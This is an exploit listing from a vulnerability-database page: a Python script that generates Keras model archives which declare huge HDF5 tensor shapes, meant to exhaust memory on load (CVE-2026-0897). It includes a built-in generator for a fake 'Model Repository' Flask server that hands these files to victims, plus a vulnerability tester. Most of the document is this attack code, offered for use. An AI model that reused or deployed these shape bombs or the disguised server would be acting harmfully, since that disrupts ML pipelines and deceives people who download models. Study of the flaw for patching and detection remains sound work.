| Reporter | Title | Published | Views | Family All 38 |
|---|---|---|---|---|
| Security Bulletin: IBM Maximo Application Suite - Maximo AI Service uses multiple third party dependencies which are vulnerable to multiple CVEs. | 2 Mar 202606:11 | – | ibm | |
| CVE-2026-0897 | 15 Jan 202614:09 | – | attackerkb | |
| CVE-2026-0897 affecting package keras for versions less than 3.3.3-6 | 29 Jan 202618:36 | – | cbl_mariner | |
| CVE-2026-0897 vulnerabilities | 30 Jan 202601:17 | – | cgr | |
| CVE-2026-0897 | 29 Mar 202609:00 | – | circl | |
| Keras security vulnerabilities | 15 Jan 202600:00 | – | cnnvd | |
| CVE-2026-0897 | 15 Jan 202614:09 | – | cve | |
| CVE-2026-0897 Denial of Service in Keras via Excessive Memory Allocation in HDF5 Metadata | 15 Jan 202614:09 | – | cvelist | |
| CVE-2026-0897 | 15 Jan 202614:09 | – | debiancve | |
| EUVD-2026-2735 | 6 May 202623:09 | – | euvd |
==================================================================================================================================
| # Title : Keras 3.13.0 HDF5 Shape Bomb Denial-of-Service Exploit Generator |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://pypi.org/project/keras/ |
==================================================================================================================================
[+] Summary : This script is a security research tool demonstrating a Denial-of-Service (DoS) vulnerability in Keras model loading through malicious HDF5 “shape bombs.”
It generates .keras model archives containing artificially declared extremely large tensor shapes designed to force excessive memory allocation during deserialization.
[+] POC :
#!/usr/bin/env python3
import os
import sys
import json
import h5py
import zipfile
import struct
import argparse
import logging
import numpy as np
from pathlib import Path
from typing import List, Dict, Optional, Tuple
from datetime import datetime
logging.basicConfig(
level=logging.INFO,
format='%(asctime)s - %(levelname)s - %(message)s'
)
logger = logging.getLogger(__name__)
MAX_RANK_BEFORE_FIX = 64
MAX_BYTES_BEFORE_FIX = float('inf')
EVIL_SHAPES = {
"petabyte_bomb": (1000000, 1000000, 1000000),
"terabyte_bomb": (100000, 100000, 10000),
"gigabyte_bomb": (50000, 50000, 400),
"rank_bomb": tuple([1000] * 100),
"overflow_bomb": (2**31, 2**31, 2**31),
"null_bomb": (0, 2**31, 2**31),
"negative_bomb": (-1, 1000000, 1000000),
"fractional_bomb": (1000000, 1000000, 1000000, 1000000),
}
class HDF5ShapeBomb:
"""Generate malicious HDF5 files with shape bombs"""
def __init__(self, output_file: str = "malicious_model.keras"):
self.output_file = output_file
self.temp_dir = Path("temp_hdf5_bomb")
self.temp_dir.mkdir(exist_ok=True)
def _create_shape_bomb_hdf5(self, shape: Tuple[int, ...], dtype: str = "float32",
dataset_name: str = "layers/dense/vars/0") -> str:
"""
Create HDF5 file with malicious shape declaration
Args:
shape: Declared tensor shape (actual data is minimal)
dtype: Data type (affects memory calculation)
dataset_name: Name of the dataset
Returns:
Path to created HDF5 file
"""
h5_path = self.temp_dir / "model.weights.h5"
with h5py.File(h5_path, "w", libver="latest") as f:
groups = dataset_name.split('/')
current = f
for group in groups[:-1]:
if group not in current:
current = current.create_group(group)
current = current[group]
dataset = current.create_dataset(
groups[-1],
shape=(0,),
maxshape=(None,),
dtype=dtype,
data=np.array([], dtype=dtype)
)
if hasattr(dataset, "attrs"):
dataset.attrs["DECLARED_SHAPE"] = shape
dataset.attrs["SHAPE_BOMB"] = True
dataset.attrs["TARGET_MEMORY_BYTES"] = self._calculate_memory(shape, dtype)
logger.info(f"[+] Created HDF5 bomb at {h5_path}")
logger.info(f" Declared shape: {shape}")
logger.info(f" Memory required: {self._format_bytes(self._calculate_memory(shape, dtype))}")
return str(h5_path)
def _calculate_memory(self, shape: Tuple[int, ...], dtype: str) -> int:
"""Calculate memory required for shape"""
try:
import math
total_elements = math.prod(shape)
except OverflowError:
total_elements = float('inf')
dtype_size = np.dtype(dtype).itemsize
return total_elements * dtype_size
def _format_bytes(self, bytes_count: int) -> str:
"""Format bytes to human readable"""
if bytes_count >= 1024**4:
return f"{bytes_count / 1024**4:.2f} PB"
elif bytes_count >= 1024**3:
return f"{bytes_count / 1024**3:.2f} TB"
elif bytes_count >= 1024**2:
return f"{bytes_count / 1024**2:.2f} GB"
elif bytes_count >= 1024:
return f"{bytes_count / 1024:.2f} MB"
else:
return f"{bytes_count} B"
def _create_config_json(self, model_config: Dict = None) -> str:
"""Create Keras config.json"""
if model_config is None:
model_config = {
"class_name": "Sequential",
"config": {
"name": "sequential",
"trainable": True,
"layers": [
{
"class_name": "Dense",
"config": {
"name": "dense",
"trainable": True,
"dtype": "float32",
"units": 10,
"activation": "relu"
}
}
]
},
"keras_version": "3.0.0",
"backend": "tensorflow"
}
config_path = self.temp_dir / "config.json"
with open(config_path, "w") as f:
json.dump(model_config, f, indent=2)
return str(config_path)
def _create_metadata_json(self) -> str:
"""Create Keras metadata.json"""
metadata = {
"keras_version": "3.0.0",
"backend": "tensorflow",
"model_config": {
"class_name": "Sequential",
"config": {"name": "sequential", "trainable": True}
}
}
metadata_path = self.temp_dir / "metadata.json"
with open(metadata_path, "w") as f:
json.dump(metadata, f, indent=2)
return str(metadata_path)
def build_keras_archive(self, shape: Tuple[int, ...],
dtype: str = "float32",
dataset_name: str = "layers/dense/vars/0") -> str:
"""
Build complete .keras archive with shape bomb
Args:
shape: Malicious shape declaration
dtype: Data type
dataset_name: Dataset name in HDF5
Returns:
Path to generated .keras file
"""
logger.info(f"[*] Building Keras archive with shape bomb: {shape}")
h5_path = self._create_shape_bomb_hdf5(shape, dtype, dataset_name)
config_path = self._create_config_json()
metadata_path = self._create_metadata_json()
with zipfile.ZipFile(self.output_file, "w", zipfile.ZIP_DEFLATED) as zf:
zf.write(h5_path, "model.weights.h5")
zf.write(config_path, "config.json")
zf.write(metadata_path, "metadata.json")
for f in [h5_path, config_path, metadata_path]:
if os.path.exists(f):
os.unlink(f)
self.temp_dir.rmdir()
file_size = os.path.getsize(self.output_file)
logger.info(f"[+] Keras archive created: {self.output_file}")
logger.info(f" File size: {self._format_bytes(file_size)}")
logger.info(f" Memory impact: {self._format_bytes(self._calculate_memory(shape, dtype))}")
logger.info(f" Amplification ratio: {self._calculate_memory(shape, dtype) / file_size:.0f}x")
return self.output_file
class KerasDoSAttack:
"""Execute DoS attack against vulnerable Keras installations"""
def __init__(self, target_model_path: str = None):
self.target_model_path = target_model_path
def test_local_vulnerability(self, model_path: str) -> bool:
"""
Test if local Keras installation is vulnerable
Args:
model_path: Path to malicious model
Returns:
True if crash occurred (vulnerable), False otherwise
"""
try:
import keras
logger.info("[*] Attempting to load malicious model...")
model = keras.saving.load_model(model_path)
logger.warning("[!] Model loaded successfully - Keras may be patched!")
return False
except MemoryError as e:
logger.error(f"[!!!] MemoryError: {e}")
return True
except Exception as e:
logger.error(f"[!!!] Crash: {e}")
return True
def create_remote_exploit_script(self, output_file: str = "exploit_server.py") -> str:
"""
Create a malicious model server that serves shape bombs
Args:
output_file: Output script name
Returns:
Path to created script
"""
script_content = '''#!/usr/bin/env python3
"""Malicious model server for CVE-2026-0897"""
from flask import Flask, send_file, request
import os
import zipfile
import h5py
import json
app = Flask(__name__)
EVIL_SHAPE = (1000000, 1000000, 1000000) # 4 PB bomb
def create_malicious_model():
"""Generate shape bomb on demand"""
import tempfile
import numpy as np
temp_dir = tempfile.mkdtemp()
model_path = os.path.join(temp_dir, "malicious.keras")
with h5py.File(os.path.join(temp_dir, "model.weights.h5"), "w") as f:
dataset = f.create_dataset(
"layers/dense/vars/0",
shape=(0,),
maxshape=(None,),
dtype="float32",
data=np.array([], dtype="float32")
)
dataset.attrs["DECLARED_SHAPE"] = EVIL_SHAPE
config = {
"class_name": "Sequential",
"config": {"name": "sequential", "trainable": True},
"keras_version": "3.0.0"
}
with zipfile.ZipFile(model_path, "w") as zf:
zf.write(os.path.join(temp_dir, "model.weights.h5"), "model.weights.h5")
zf.writestr("config.json", json.dumps(config))
return model_path
@app.route('/model.keras')
def serve_malicious_model():
"""Serve the shape bomb model"""
model_path = create_malicious_model()
return send_file(model_path, as_attachment=True)
@app.route('/')
def index():
return '''
<h1>Model Repository</h1>
<p>Download models for your ML pipeline:</p>
<a href="/model.keras">Download model.keras (latest)</a>
'''
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)
'''
with open(output_file, 'w') as f:
f.write(script_content)
os.chmod(output_file, 0o755)
logger.info(f"[+] Remote exploit server script created: {output_file}")
return output_file
class ExploitTester:
"""Test and validate the exploit"""
@staticmethod
def test_memory_impact(shape: Tuple[int, ...], dtype: str = "float32") -> Dict:
"""Calculate theoretical memory impact"""
import math
try:
elements = math.prod(shape)
bytes_needed = elements * np.dtype(dtype).itemsize
return {
"shape": shape,
"elements": elements,
"bytes": bytes_needed,
"bytes_formatted": format_bytes(bytes_needed),
"dtype": dtype,
"overflow": False
}
except OverflowError:
return {
"shape": shape,
"elements": float('inf'),
"bytes": float('inf'),
"bytes_formatted": "INFINITE",
"dtype": dtype,
"overflow": True
}
@staticmethod
def scan_keras_version() -> Dict:
"""Check Keras version and vulnerability status"""
try:
import keras
version = keras.__version__
# Parse version
parts = [int(x) for x in version.split('.')[:3]]
is_vulnerable = False
if parts[0] == 3:
if 0 <= parts[1] <= 13:
is_vulnerable = True
return {
"version": version,
"is_vulnerable": is_vulnerable,
"has_fix": not is_vulnerable
}
except ImportError:
return {
"version": None,
"is_vulnerable": False,
"has_fix": False,
"error": "Keras not installed"
}
def format_bytes(bytes_count):
"""Format bytes to human readable"""
if bytes_count >= 1024**4:
return f"{bytes_count / 1024**4:.2f} PB"
elif bytes_count >= 1024**3:
return f"{bytes_count / 1024**3:.2f} TB"
elif bytes_count >= 1024**2:
return f"{bytes_count / 1024**2:.2f} GB"
elif bytes_count >= 1024:
return f"{bytes_count / 1024:.2f} MB"
else:
return f"{bytes_count} B"
def main():
parser = argparse.ArgumentParser(
description='CVE-2026-0897 - Google Keras DoS Exploit (HDF5 Shape Bomb)',
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
python exploit.py --shape petabyte_bomb --output malicious.keras
python exploit.py --shape 1000000,1000000,1000000 --output bomb.keras
python exploit.py --test --model malicious.keras
python exploit.py --all --output-dir ./bombs/
python exploit.py --server --port 8080
python exploit.py --check-version
"""
)
parser.add_argument('--shape', help='Shape bomb type or custom dimensions (e.g., 1000,1000,1000)')
parser.add_argument('--output', '-o', default='malicious_model.keras', help='Output .keras file')
parser.add_argument('--output-dir', help='Directory for multiple bombs')
parser.add_argument('--all', action='store_true', help='Generate all bomb types')
parser.add_argument('--test', action='store_true', help='Test vulnerability with generated model')
parser.add_argument('--model', help='Model file to test')
parser.add_argument('--server', action='store_true', help='Create remote exploit server script')
parser.add_argument('--port', type=int, default=8080, help='Port for exploit server')
parser.add_argument('--check-version', action='store_true', help='Check Keras version vulnerability')
parser.add_argument('--dtype', default='float32', help='Data type (float32, float64, int8, etc.)')
parser.add_argument('--verbose', '-v', action='store_true', help='Verbose output')
args = parser.parse_args()
print("""
========================================
CVE-2026-0897 - Keras DoS Exploit
HDF5 Shape Bomb - Resource Exhaustion
========================================
""")
if args.check_version:
info = ExploitTester.scan_keras_version()
print(f"[*] Keras version: {info['version'] or 'Not installed'}")
if info.get('is_vulnerable'):
print("[!!!] VULNERABLE version detected! (3.0.0 - 3.13.0)")
elif info.get('has_fix'):
print("[+] Keras appears patched (version > 3.13.0)")
else:
print("[?] Unable to determine vulnerability status")
return
if args.server:
attacker = KerasDoSAttack()
script_path = attacker.create_remote_exploit_script(f"exploit_server_{args.port}.py")
print(f"\n[+] Exploit server script created: {script_path}")
print(f"[*] Run: python3 {script_path}")
print(f"[*] Victims will download malicious models from http://your-server:8080/model.keras")
return
if args.all:
if not args.output_dir:
args.output_dir = "shape_bombs"
os.makedirs(args.output_dir, exist_ok=True)
for bomb_name, bomb_shape in EVIL_SHAPES.items():
output_file = os.path.join(args.output_dir, f"{bomb_name}.keras")
generator = HDF5ShapeBomb(output_file)
print(f"\n[*] Generating {bomb_name}: {bomb_shape}")
generator.build_keras_archive(bomb_shape, args.dtype)
print(f"\n[+] All bombs generated in {args.output_dir}/")
return
if args.shape:
if args.shape in EVIL_SHAPES:
shape = EVIL_SHAPES[args.shape]
else:
try:
shape = tuple(int(x.strip()) for x in args.shape.split(','))
except:
print(f"[!] Invalid shape format: {args.shape}")
return
impact = ExploitTester.test_memory_impact(shape, args.dtype)
print(f"[*] Shape bomb configuration:")
print(f" Dimensions: {impact['shape']}")
print(f" Total elements: {impact['elements']}")
print(f" Memory required: {impact['bytes_formatted']}")
print(f" Data type: {impact['dtype']}")
if impact.get('overflow'):
print("[!!!] INTEGER OVERFLOW DETECTED - May bypass some checks!")
generator = HDF5ShapeBomb(args.output)
generator.build_keras_archive(shape, args.dtype)
if args.test:
print("\n[*] Testing vulnerability...")
attacker = KerasDoSAttack()
is_vulnerable = attacker.test_local_vulnerability(args.output)
if is_vulnerable:
print("\n[!!!] Keras IS VULNERABLE! Process crashed.")
else:
print("\n[+] Keras appears patched or model was safe.")
else:
parser.print_help()
if __name__ == "__main__":
main()
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation